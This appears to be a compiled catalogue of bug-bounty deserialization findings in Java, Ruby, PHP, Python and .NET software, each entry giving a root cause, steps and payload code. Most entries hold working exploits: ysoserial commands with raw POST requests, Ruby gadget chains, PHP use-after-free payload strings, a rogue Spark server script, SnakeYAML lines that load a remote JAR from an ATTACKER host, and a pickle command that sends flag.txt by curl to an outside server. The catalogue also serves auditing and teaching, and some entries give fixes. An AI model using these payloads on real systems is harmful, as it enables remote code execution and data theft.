!!java.net.URL ["http://ATTACKER/exploit.jar"]
]]
]
Insight — On any JVM app, unsafe SnakeYAML (new Yaml() without SafeConstructor) turns YAML input into arbitrary-object instantiation. Grep for `new Yaml(` and yaml.load on request/file input; the fix is `new Yaml(new SafeConstructor())`.
Real-world example
JBoss JMXInvokerServlet/EJBInvokerServlet Java deserialization RCE
◆ Medium
Specimen #153026 · starbucks · none · 42 votes · resolved
Program starbucksSurface web
Root cause
Exposed JBoss /invoker/JMXInvokerServlet and /invoker/EJBInvokerServlet accept a serialized MarshalledInvocation and deserialize it with vulnerable classpath gadgets (Commons Collections). Posting a ysoserial payload executes OS commands. (CVE-2017-7504 for the JBossMQ HTTPServerILServlet variant.)
Method
- Find /invoker/EJBInvokerServlet or /invoker/JMXInvokerServlet
- Generate a ysoserial CommonsCollections1 payload for the desired command
- POST it with Content-Type application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation
- Infer success from error strings (e.g. 'cannot find the file specified' for a bad path vs none for a valid binary) when egress is filtered
java -jar ysoserial-0.0.4-all.jar CommonsCollections1 'cmd.exe' > serialdata
---
POST /invoker/EJBInvokerServlet HTTP/1.1
Host: TARGET
Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation
Content-Length: <len>
<paste serialdata bytes>
Insight — Legacy JBoss invoker servlets are a classic pre-auth Java deser RCE. When egress is filtered and you get no shell, use differential error messages (valid vs invalid file/binary in the executed command) as a blind oracle to prove code execution.
Real-world example
Ruby RCE via unsafe YAML.load of a config file (.rdoc_options)
◆ Medium
Specimen #1187477 · ruby · none · 41 votes · resolved
Program rubySurface other
Root cause
RDoc loads .rdoc_options with YAML.load (Psych) without restricting permitted classes, so a repository-supplied config file can instantiate arbitrary objects. The universal Ruby YAML gadget chain reaches Kernel.system for RCE when rdoc runs against untrusted source. CVE-2024-27281.
Method
- Place a malicious .rdoc_options YAML in a repo
- Victim runs rdoc on that repo
- The YAML object-injection gadget calls Kernel.system
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: date
method_id: :resolve
Insight — Treat YAML.load / Marshal.load / Psych.load (pre-safe defaults) on any file that ships inside untrusted input (repos, gems, uploads, config) as RCE. Grep tools/CI for YAML.load_file of dotfiles; the staaldraad universal Ruby gadget works whenever Gem/Net classes are on the load path.
Real-world example
Ruby Kernel#JSON unsafe object creation via nil-options branch
◆ Medium
Specimen #706934 · ruby · USD 500 · 20 votes · resolved
Program rubySurface other
Root cause
The CVE-2013-0269 fix only patched the JSON parser branch taken when an options hash is supplied. Kernel#JSON / JSON.parse(x, nil) hit the no-options branch, where create_additions defaults on, allowing json_class-driven arbitrary object instantiation.
Method
- Find app code passing user input to Kernel#JSON(...), JSON[...], JSON.parse(x, nil), or JSON::Parser.new(x).parse
- Supply JSON containing a json_class key naming a constant with a json_create singleton method
- Parser instantiates that class with attacker args; with json/add/* required this reaches OpenStruct/Regexp etc.
{"json_class":"A","args":[1]}
# parsed via JSON(js) -> #<struct A a=1> even though JSON.parse(js) is safe
Insight — When a class has two code paths (options vs no-options, strict vs lenient), a security fix on one path often leaves the sibling exploitable. Grep for the convenience wrappers (Kernel#JSON) that quietly take the unpatched branch.
Real-world example
Pre-auth PHP object injection via unserialize() of listing data
◆ Medium
Specimen #308489 · automattic · awarded · 11 votes · resolved
Program automatticSurface webChain unserialize sink -> POP gadget chain -> XSS/RCE
Root cause
WP Job Manager's get_job_listings serializes query args into a transient and later unserialize()s data influenced by unauthenticated AJAX input, giving a PHP object injection sink if a POP gadget chain exists in loaded code.
Method
- Reach the unauthenticated job_manager_ajax_get_listings action
- Supply crafted serialized query args that get stored and later unserialized
- If a POP gadget (__wakeup/__destruct/__toString) is present, escalate from object injection to XSS/RCE
add_action('job_manager_ajax_get_listings', array($this,'get_listings'));
// get_job_listings(): set_transient($query_args_hash, $result, DAY_IN_SECONDS)
// -> later unserialize() of attacker-influenced query args
Insight — Grep plugins for unserialize() on any request-derived value (including cached/transient/second-order paths). The bug is the sink; impact depends on available gadget chains (cf. WooCommerce 3.2.4, WP 4.8.3 research).
Real-world example
SnakeYAML unsafe constructor RCE via ScriptEngineManager/URLClassLoader (CVE-2022-1471)
◆ Medium
Specimen #1807214 · kubernetes · USD 1000 · 10 votes · resolved
Program kubernetesSurface otherChain untrusted YAML -> SnakeYAML type instantiation -> remoTag supply-chain
Root cause
K8s Java Client's Dynamics.deserialize used SnakeYAML without SafeConstructor, so YAML tags can instantiate arbitrary Java types; the !!javax.script.ScriptEngineManager + !!java.net.URLClassLoader gadget loads a remote JAR whose ScriptEngineFactory static initializer runs code inside the JVM.
Method
- Host a JAR exposing a malicious ScriptEngineFactory (RCE in its static initializer) with META-INF/services/javax.script.ScriptEngineFactory entry
- Serve the JAR from an HTTP URL
- Feed the SnakeYAML sink a payload that builds a ScriptEngineManager over a URLClassLoader pointing at your URL
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ATTACKER:8080/"]]]]
// JAR: static { Runtime.getRuntime().exec("..."); } in a class implementing ScriptEngineFactory
// + /META-INF/services/javax.script.ScriptEngineFactory -> your class name
Insight — Any Yaml.load / SnakeYAML new Yaml() without SafeConstructor on untrusted input is RCE; the ScriptEngineManager+URLClassLoader gadget needs only outbound HTTP to your JAR (no gadget on the target classpath). Audit public APIs that parse YAML from users; fix = new Yaml(new SafeConstructor()).
Real-world example
unserialize() on stored data without allowed_classes (PHP object injection sink)
◆ Medium
Specimen #185909 · iandunn-projects · 50 · 9 votes · resolved
Program iandunn-projectsSurface webTag file-upload
Root cause
Calling PHP unserialize() on data an attacker can influence, without restricting allowed_classes, permits POP-chain object injection and exposes the app to unserialize engine bugs.
Method
- Grep source for unserialize( on stored/user-influenced values (here $item->data)
- If the value is attacker-controllable, craft a serialized payload instantiating gadget classes present in the codebase (POP chain)
- Trigger a magic method (__wakeup/__destruct) to reach a dangerous sink
$option = unserialize( $item->data );
// vulnerable: no allowed_classes
// safe form:
$option = unserialize($item->data, ['allowed_classes' => false]);
Insight — Treat every unserialize()/deserialization call on non-constant data as a POP sink; the exploitability depends on available gadget classes. In audits, map unserialize() sinks first, then hunt for reachable __wakeup/__destruct gadgets.
Real-world example
unserialize() heap use-after-free / over-read on untrusted data (PHP)
◆ Medium
Specimen #261338 · ibb · awarded · 7 votes · resolved
Program ibbSurface otherChain untrusted input -> unserialize() -> heap UAF/over-read
Root cause
PHP's var_unserializer (finish_nested_data / zval_get_type paths) mishandles crafted serialized input, yielding a heap use-after-free (CVE-2017-12934) and buffer over-reads (CVE-2017-12933 / CVE-2016-10161) that corrupt interpreter integrity.
Method
- Find a sink calling unserialize() (or a framework that unserializes cookies/cache/session) on user-controlled bytes.
- Supply a crafted serialized payload exercising nested/reference structures.
- var_unserializer frees-then-uses or reads past the buffer -> UAF / OOB read.
// Any endpoint reaching unserialize($_user_input)
// Crafted nested serialized data triggers finish_nested_data UAF/over-read.
// CVEs: 2017-12934 (UAF), 2017-12933 (over-read), 2016-10161 (OOB read)
// Advisories: https://bugs.php.net/bug.php?id=74101 / 74111 / 73825
Insight — Beyond PHP object injection (POP chains), unserialize() on attacker data is a raw memory-corruption surface in the C parser itself. Treat any user-reachable unserialize (cookies, cache, __PHP_Incomplete_Class, message queues) as both a logic AND memory-safety sink; reference/nested-structure payloads are the fuzz seeds.
Real-world example
PHP unserialize regex-firewall bypass via lowercase o: and capital S:
◆ Medium
Specimen #245228 · automattic · awarded · 7 votes · resolved
Program automatticSurface webTag webhook
Root cause
A blacklist regex meant to block object injection ([CO]:\+?[0-9]+:") only catches uppercase C/O class markers, but PHP's native unserialize() also accepts lowercase o: (StdClass) and capital S: (hex-escaped string), so a crafted payload passes the filter yet still instantiates objects.
Method
- Locate the anti-object-injection guard: preg_match('/^a:2:{/',$x) && !preg_match('/[CO]:\+?[0-9]+:"/',$x) && maybe_unserialize($x).
- Build a serialized array whose nested class markers use lowercase o: instead of O:, and S: (uppercase-S hex string) to further evade WAF signatures.
- In WooCommerce, the PayPal PDT $raw_custom flows into this check, letting an attacker forge an arbitrary order object.
$attack_str = 'a:2:{i:1;s:3:"key";i:0;o:3:"s:2:"ID";o:1:"s:0:"";o:1:"s:2:"ID";S:1:"1";}}s:9:"order_key";s:3:"key";s:9:"post_type";s:2:"ok";}}';
Insight — When you see a regex that filters unserialize input, test the case-insensitive and alternate type tokens PHP accepts: O: vs o:, C: vs c:, and S: (hex-escaped) vs s:. Blacklists that only match uppercase C/O are trivially bypassed, and capital S: also slips past many WAF rules.
Real-world example
PHP ArrayObject unserialize double-free / UAF
◆ Medium
Specimen #180909 · ibb · awarded · 4 votes · resolved
Program ibbSurface other
Root cause
SPL ArrayObject::unserialize calls zval_ptr_dtor(&intern->array) on failure, but spl_array_object_free_storage also dtors/efrees the same object during destruction -> double-free / UAF. A CURLFile::__wakeup with an R:1 self back-reference frees the object before the second dtor uses it.
Method
- Wrap a failing inner payload in a C:11:"ArrayObject":... custom-serialization envelope
- On unserialize failure zval_ptr_dtor frees intern->array once; free_storage frees it again
- Variant: inner CURLFile with R:1 triggers __wakeup that frees the object then zval_ptr_dtor uses freed memory
<?php
$inner = 'x:i:1;O:8:"stdClass":1:{};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);
// variant: $inner = 'x:i:1;O:8:"CURLFile":1:{s:4:"name";R:1;};m:a:0:{}';
Insight — Look for SPL/built-in classes whose unserialize() dtors a member on the error path while the storage-free path dtors it again. R:1/back-references and __wakeup let you free an object mid-unserialize to set up the double-free.
Real-world example
PHP unserialize() uninitialized-memory -> controlled destructor RCE (CVE-2017-5340)
◆ Medium
Specimen #195950 · ibb · awarded · 3 votes · resolved
Program ibbSurface otherChain crafted serialized length -> int-overflow alloc fail ->
Root cause
A crafted serialized string with a huge array length triggers an integer-overflow allocation failure that leaves a zend_array partially initialized from attacker-controlled bytes; during shutdown zend_hash_destroy calls the array pDestructor, now an attacker-controlled pointer, yielding RCE.
Method
- Craft payload with an oversized array length (e.g. a:9000111000000010:{...) filled with controlled bytes
- Pass it to unserialize(); allocation overflows and aborts, leaving faked object memory
- On shutdown ht->pDestructor(&p->val) calls the attacker-controlled pointer (ROP to command exec)
unserialize($payload); // $payload: a:9000111000000010:{ ...0x30 filler controlling zend_array... }
// pDestructor overwritten -> zend_hash_destroy: ht->pDestructor(&p->val) -> ROP -> exec
Insight — unserialize() on any attacker-controlled string is dangerous even without app-level gadget classes; oversized-length + integer overflow can leave engine structures uninitialized and give a raw function-pointer primitive. Found via afl-fuzz.
Real-world example
Reverse deserialization RCE: malicious Spark server attacks Airflow PySpark client (CVE-2023-40195)
◆ Medium
Specimen #2127968 · ibb · awarded · 2 votes · resolved
Program ibbSurface webChain authorized-to-configure-Spark-connection -> point to mali
Root cause
The Spark RPC client (used by Airflow's Spark provider via spark-submit) deserializes data returned by the Spark master; a user who can set the connection Host/Port to a malicious Spark server gets that server's Java gadget payload deserialized and executed on the Airflow worker.
Method
- As an Airflow user authorized to configure Spark hooks, create/edit the spark_default connection Host=spark://ATTACKER_IP Port=PORT.
- Generate a Java gadget payload with ysoserial (e.g. CommonsCollections4) that runs an OS command.
- Run a malicious Spark server that speaks just enough of the Spark wire protocol to hand the payload back to the connecting client.
- Trigger a DAG using SparkSubmitOperator; spark-submit connects to the evil master and deserializes the payload -> RCE on the Airflow worker.
# 1) gadget payload:
java -jar ysoserial.jar CommonsCollections4 "touch /tmp/thisisRCE" > exp.der
# 2) evil spark master (frames payload into Spark RPC response):
def build_msg(request_id):
payloadObj = open(sys.argv[2],'rb').read()
msg_type = '\x04'
msg = struct.pack('>Q',len(payloadObj) + 21) + msg_type + request_id
msg += struct.pack('>I',len(payloadObj)) + payloadObj
return msg
# ThreadingTCPServer replies with build_msg(msg[9:17]) when a client connects
# python2 evil_spark_server.py 8888 exp.der
# 3) client trigger:
spark-submit --master spark://ATTACKER_IP:8888 --name x /tmp/file
Insight — Deserialization is bidirectional: a CLIENT that deserializes server responses is exploitable by a malicious server. Whenever a target lets a low-priv user point a connector/hook at an arbitrary host (DB, Spark, LDAP, JMX, RMI), assume the client-side response parser is a deserialization sink and stand up a hostile server.
Real-world example
SSRF -> memcached poisoning -> .NET deserialization RCE (GitHub SVNBridge CVE-2022-23734)
◆ Medium
Specimen #1593913 · github · awarded · 14 votes · resolved
Program githubSurface webChain SSRF -> memcached write -> deserialization on cache reTag cache
Root cause
GitHub Enterprise SVNBridge deserializes objects it reads from memcached; an SSRF that lets the attacker write to the memcached instance controls the serialized data and yields RCE on the SVNBridge component.
Method
- Find an SSRF that can speak to the internal memcached port.
- Write a malicious serialized .NET object into a cache key that SVNBridge later reads.
- SVNBridge deserializes the poisoned cache entry -> RCE.
Insight — Caches (memcached/Redis) that store serialized objects are deserialization sinks; if any SSRF or injection can write to the cache, you get code execution without ever touching the primary request path. When you find object-caching + an SSRF, try to poison the cache.
Real-world example
Client-side Ruby Marshal RCE via malicious dependency API response (Bundler)
◆ Low
Specimen #1119120 · rubygems · none · 28 votes · resolved
Program rubygemsSurface webChain malicious source / MITM -> Marshal response -> Marshal
Root cause
Bundler fetches GET /api/v1/dependencies and Marshal.load()s the response body; a malicious/MITM'd gem source returns a crafted Marshal payload built from the universal Ruby 2.x-3.x deserialization gadget, executing code on the client running `bundle install`.
Method
- Stand up a rogue gem source that returns the Marshal gadget for /api/v1/dependencies.
- Point a Gemfile's source at it (or MITM a real source).
- Running `bundle install` deserializes the response and runs the embedded command on the developer/CI machine.
# universal Ruby 2.x-3.x gadget (runs `date`):
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', 'date')
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0); i.instance_variable_set('@header', 'aaa')
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i); n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate; t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate; r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
Insight — Deserialization sinks are not only server-side: clients that Marshal.load/pickle.load/readObject a server RESPONSE are RCE targets under a malicious source or MITM. Any Marshal.dump/Marshal.load over the network is dangerous even without an obvious gadget in-app -- the universal Ruby gadget always works.
Real-world example
Second-order Python pickle RCE via SQL-injectable notification store (Liberapay)
◆ Low
Specimen #361341 · liberapay · none · 18 votes · resolved
Program liberapaySurface webChain SQL injection (or other write) -> poisoned pickle in noti
Root cause
Notifications are serialized/deserialized with pickle and the notif context is read back from the DB via deserialize(); pickle.loads on any DB-controlled value is arbitrary-object -> RCE, so a SQL injection that writes the notifications.context column escalates directly to code execution.
Method
- Locate a pickle deserialize() reading a DB column (here render_notifications reads notifications.context).
- Write a malicious pickle into that column (via SQLi or any write primitive).
- When the victim views notifications, the pickle is loaded and the command runs.
UPDATE notifications SET context = E'\\x80027d710028...63706f7369780a73797374656d0a...736c65657020353030303030...' WHERE id = 43;
# pickle payload runs system('sleep 500000')
Insight — Treat pickle.loads/Marshal on DB-stored blobs as a second-order RCE sink: it converts any write primitive (SQLi, mass-assignment, an admin field) into code execution. When you find pickle over persisted data, hunt for a way to control that data rather than dismissing it as internal.
Real-world example
Python yaml.load() unsafe deserialization -> command execution
◆ Low
Specimen #1051192 · kubernetes · USD 250 · 17 votes · resolved
Program kubernetesSurface otherTag file-upload
Root cause
PyYAML yaml.load() (without SafeLoader) constructs arbitrary Python objects from YAML tags, so any config-file-driven yaml.load() is a code-execution sink. Kubernetes test-infra Gubernator loaded config via yaml.load().
Method
- Find code calling yaml.load() on attacker-influenced YAML (config files, API bodies)
- Craft YAML using python object-construction tags to invoke subprocess/os.system
- Get the target to load/update the config to trigger execution
# config.yaml (PyYAML < 5.1 always works; >=5.1 needs subprocess already imported, e.g. under Flask)
!!python/object/apply:subprocess.check_output [['ls']]
Insight — grep any codebase for yaml.load( (Python), Yaml.load (SnakeYAML), Marshal.load, pickle.loads on untrusted input; the fix is always the safe variant (safe_load / SafeConstructor). Exploitability with PyYAML>=5.1 hinges on whether the target process already imports subprocess.
Real-world example
Unchecked unserialize() on plugin-update response body
◆ Low
Specimen #185907 · iandunn-projects · awarded · 7 votes · resolved
Program iandunn-projectsSurface webChain unserialize sink -> PHP POP gadget chain -> RCE (if gaTag webhook
Root cause
A WordPress plugin calls unserialize($request['body']['plugins']) on data derived from the plugin-update HTTP flow without restricting allowed classes, giving a PHP object-injection (POP) sink if an attacker can control that response.
Method
- Grep the codebase for unserialize( on any request/response-derived data.
- Confirm no allowed_classes=>false guard and that the value is attacker-influenceable.
- Chain to an available POP gadget in loaded plugins/core for the actual impact.
unserialize( $request['body']['plugins'] ); // no allowed_classes restriction
// fix: json_decode, or PHP7 unserialize($data, ['allowed_classes'=>false])
Insight — Update/callback handlers that unserialize remote response bodies are a classic overlooked object-injection sink. Audit for unserialize() on anything crossing a trust boundary; recommend json or allowed_classes=>false.
Real-world example
LFR -> PHP object injection -> XXE -> SSRF -> Python pickle RCE chain
◆ Info
Specimen #415137 · h1-5411-ctf · none · 17 votes · resolved
Program h1-5411-ctfSurface webChain LFR -> source disclosure -> PHP object injection (unseTag file-upload
Root cause
A template filename parameter allows local file read (source disclosure); an import endpoint feeds attacker bytes to unserialize() (PHP object injection); a ConfigFile object's __toString runs DOMDocument::loadXML with entities enabled (XXE); XXE reaches an internal service that deserializes Python pickle (RCE).
Method
- Use template= to read arbitrary files and dump the app source (LFR).
- Craft a base64(serialize(array($configObj))) blob and upload via the import endpoint -> unserialize() creates the object.
- Trigger __toString (object echoed into an iframe src) which calls loadXML(config_raw) with LIBXML_NOENT|LIBXML_DTDLOAD -> XXE.
- Use php://filter + http://localhost:1337 XXE to read/SSRF the internal maintenance API.
- POST a malicious base64 Python pickle to /update-status -> RCE on the internal service; exfil via curl to attacker host.
# PHP object injection blob (wrapped in array to survive array_merge):
echo base64_encode(serialize(array($test))); // $test->config_raw = XXE payload
# non-blind XXE for SSRF+read:
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY foo SYSTEM "php://filter/convert.base64-encode/resource=http://localhost:1337/">]><test><toptext>&foo;</toptext></test>
# pickle RCE gadget (posix.system):
python pickle.py 'curl -X POST -d "|$(cat flag.txt)|" myserver.com'
Insight — Chain primitives: file-read to recover source, then hunt unserialize()/loadXML sinks. PHP object injection weaponizes any class with a useful magic method (__toString/__wakeup/__destruct). XXE with entity output is a non-blind SSRF to discover internal services; wrap responses in php://filter/convert.base64-encode to read binary/HTTP. Any endpoint taking base64 pickle is direct RCE. Wrap objects in an array when the sink array_merges into an array.
Real-world example
PHP session data injection via mishandled session names
◆ Info
Specimen #159946 · ibb · awarded · 16 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
PHP's php/php_binary session serialize handlers skip disallowed session variable names during decode instead of failing, so attacker-controllable session keys let arbitrary serialized data be injected and later unserialized (object injection, UAF).
Method
- Find apps that write user input into session keys (e.g. $_SESSION = array_merge($_SESSION,$_POST) or $_SESSION[$_GET['id']]=...).
- Set a session variable whose name/value embeds a serialized object using the handler's delimiter.
- On the next request the handler decodes and injects the crafted serialized data into the session -> feeds an unserialize sink.
<?php
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['_SESSION'] = 'ryat|O:8:"stdClass":0:{}'; // pipe = PS_DELIMITER
session_write_close();
session_start();
var_dump($_SESSION); // injected stdClass object present
Insight — Any code that lets user input reach session variable names turns the session store into an unserialize() attack surface (object injection / gadget chains). Treat $_SESSION key assignment from request data as dangerous; affects php and php_binary handlers.
Real-world example
PHP unserialize() GC use-after-free -> remote memory corruption
◆ Info
Specimen #146233 · ibb · awarded · 11 votes · resolved
Program ibbSurface otherChain unserialize UAF -> memory corruption -> potential RCETag supply-chain
Root cause
A bug in PHP's garbage-collection algorithm during unserialize() (PHP >=5.3, <7) yields a use-after-free that is remotely exploitable whenever an app unserializes attacker data and then re-serializes/uses it (e.g. serialize(unserialize($user_input))).
Method
- Find code doing unserialize() on user input (cookies, cache, session, API bodies)
- Deliver crafted serialized input that triggers the GC UAF
- Escalate the UAF to control flow / RCE
$unserialized = unserialize($user_input);
print(serialize($unserialized)); // vulnerable pattern (crafted UAF payload per bugs.php.net 72433 / 72434 ZipArchive variant)
Insight — unserialize() on untrusted data is a memory-corruption sink as well as a POP-gadget sink; the tell-tale vulnerable pattern is serialize(unserialize($input)). Audit for unserialize on any attacker-reachable value even without obvious gadget classes. ZipArchive class exhibits the same UAF (146235).
Real-world example
PHP unserialize() UAF via custom Serializable class + back-reference
◆ Info
Specimen #159948 · ibb · awarded · 4 votes · resolved
Program ibbSurface otherChain unserialize() UAF -> fake zval (array/object type) ->
Root cause
When a nested php_var_unserialize() on a custom (Serializable) object fails, the zval is freed via zval_dtor and reset to bool FALSE, yet the object still holds it; a later R:/r: reference in the same payload points at the freed memory. Attacker fills the freed slot with a fake zval to leak memory or gain code execution.
Method
- Target any class implementing Serializable (unserialize() calls unserialize() internally)
- Send a payload whose inner custom-object unserialize fails, freeing its zval
- Use R:/r: to reference the freed zval and place a crafted fake-zval string in the same array to control type/value
<?php
$fakezval = ptr2str(1122334455).ptr2str(0)."\x00\x00\x00\x00"."\x01"."\x00"."\x00\x00";
$inner = 'C:3:"obj":3:{ryat';
$exploit = 'a:4:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:2;s:'.strlen($fakezval).':"'.$fakezval.'";i:3;R:5;}';
var_dump(unserialize($exploit));
// ptr2str: pack 8 bytes little-endian
Insight — PHP object injection isn't only POP gadgets: a failing nested unserialize on a Serializable class frees a zval that R:/r: back-references reuse. Any endpoint feeding attacker data to unserialize() with custom serializers is a UAF primitive.
Real-world example
PHP unserialize() use-after-free via __wakeup + back-reference
◆ Info
Specimen #73235 · ibb · awarded · 3 votes · resolved
Program ibbSurface otherChain UAF -> fake zval heap grooming -> zend_eval_string RCE
Root cause
During unserialize(), an object's __wakeup() (or property init) can free a zval/its children, but the parser still allows R:/r: back-references to that freed memory, yielding a use-after-free that leaks memory or achieves RCE.
Method
- Define a class whose __wakeup() unsets a property (freeing its zval).
- Craft serialized data with an R: reference pointing back to the freed slot.
- unserialize() dereferences freed memory; groom the heap with a fake zval to control type/pointers and reach zend_eval_string for RCE.
a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}
// evilClass::__wakeup(){ unset($this->var); }
Insight — Any native unserialize() reachable from user input on PHP < 5.6.7/5.5.23/5.4.39 is exploitable via __wakeup/property-destroy + R: back-references. Look for user-controlled serialized blobs (cookies, cache, API params) and fingerprint PHP version.
Real-world example
Unauthenticated Jenkins Java deserialization RCE (commons-collections)
◆ Info
Specimen #98559 · owncloud · none · 10 votes · resolved
Program owncloudSurface web
Root cause
A public, unfirewalled Jenkins CI instance deserializes attacker-supplied data on its remoting/CLI port using the vulnerable commons-collections gadget, giving unauthenticated RCE.
Method
- Find CI host by guessable name (ci.<company>.com), often linked from GitHub
- Confirm Jenkins listening on a public IP with the CLI/remoting port open
- Send a commons-collections deserialization payload to obtain RCE (read /etc/passwd / OS fingerprint to confirm)
Insight — Enumerate CI/build servers (ci., jenkins., build.) exposed to the internet; unauth Java services deserializing untrusted data are prime RCE. The 2015 foxglovesecurity commons-collections chain is the classic gadget.